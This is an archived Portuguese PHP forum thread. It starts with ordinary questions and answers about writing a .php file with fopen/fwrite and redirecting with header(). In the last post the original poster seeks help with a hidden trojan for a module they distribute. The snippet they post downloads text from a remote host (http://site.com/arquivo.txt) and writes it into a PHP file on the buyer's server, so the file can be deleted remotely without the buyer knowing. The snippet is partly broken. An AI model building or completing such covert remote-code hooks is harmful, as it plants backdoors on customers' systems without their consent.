Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

pctecnologia

Criar arquivo.php com php

Recommended Posts

olá pessoal,

 

estou tentando criar um arquivo chamado index.php que contenha dentro dele código php, tipo assim...

 

<?php @session_start(); $_SESSION['cidade_ativa'] = 1; print "<meta http-equiv=refresh content=0;URL=../index.php>"; ?>

 

como eu posso fazer isso?

 

alguém tem alguma idéia????

 

abraços

PC

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olá, veja o exemplo abaixo de como criar um arquivo .php ou qualquer outro tipo de arquivo de texto

 

// diretório onde encontra-se o arquivo
$filename = "meu_arquivo.php";

// verifica se existe o arquivo
if(file_exists($filename)){
  $script = file_get_contents($filename);
} else {
  $script = "";
}

//Adciona um novo texto
$script = "Meu texto!!!" . $script;

//Escrevendo
$file = @fopen($filename, "w+");
@fwrite($file, stripslashes($script));
@fclose($file);

 

Não testei o código, mas acredito q deve funcionar.

 

Boa sorte!!!

Compartilhar este post


Link para o post
Compartilhar em outros sites

pctecnologia, pelo q vi você qer criar um código na sua página onde você quer redirecionar para outro arquivo index.php? Se sua resposta for sim utilize o metodo header do PHP para isso. Exemplo:

<?php 
   @session_start(); 
   $_SESSION['cidade_ativa'] = 1;
   header("Location: ../index.php");
?>

Agora se não isso poderia explicar mais sobre a sua dúvida.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Certo, mas reavivando a discussão, tem como inscrever um código php dentro deste novo arquivo.

 

Tipo, quero criar um arquivo que contenha o código de outro script.

 

Explico melhor. Estou criando um módulo e não quero que ele seja pirateado. Vou encriptar, mas depois de despejado no host ele vai voltar ao normal, mas quero ter a possibilidade de detectar e deletar o arquivo remotamente caso ele seja pirata. Cheguei ao seguinte script que ficará encapsulado dentro do arquivo do módulo (detalhe o módulo só possui um arquivo .php, por isso não dá pra enviar outros arquivos para dentro do servidor do usuário sem que ele perceba).

 

 

<?
$filename = "meu_arquivo2.php";
// verifica se existe o arquivo
if(file_exists($filename)){
$script = file_get_contents($filename);
} else {
$script = "";
}
$arquivo = fopen('http://site.com/arquivo.txt','w+');
$string = file_get_contents('http://site.com/arquivo.txt');
fclose($arquivo);
//Adciona um novo texto
$script = "" . $script;
//Escrevendo
$file = @fopen($filename, "w+");
@fwrite($file, stripslashes($string));
@fclose($file);
?>

 

Dentro de arquivo.txt tem o código para deletar o script caso necessário (tipo cavalo de troia, entende?).

 

Ok, se o arquivo.txt estiver dentro do servidor do cara que vai instalar, ele cria e escreve no meu_arquivo2.php, mas e se ele estiver fora? Tipo em outro link http://outrosite/arquivo.txt. Testei e não deu certo.

 

Outra coisa, e se eu usar o script acima, mas ao invés de palavras do tipo "Meu texto!!!" quiser inserir um código, tipo "<? $string = bla bla bla ?>" . Como fazer?

 

Agradeço a colaboração dos colegas de antemão.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.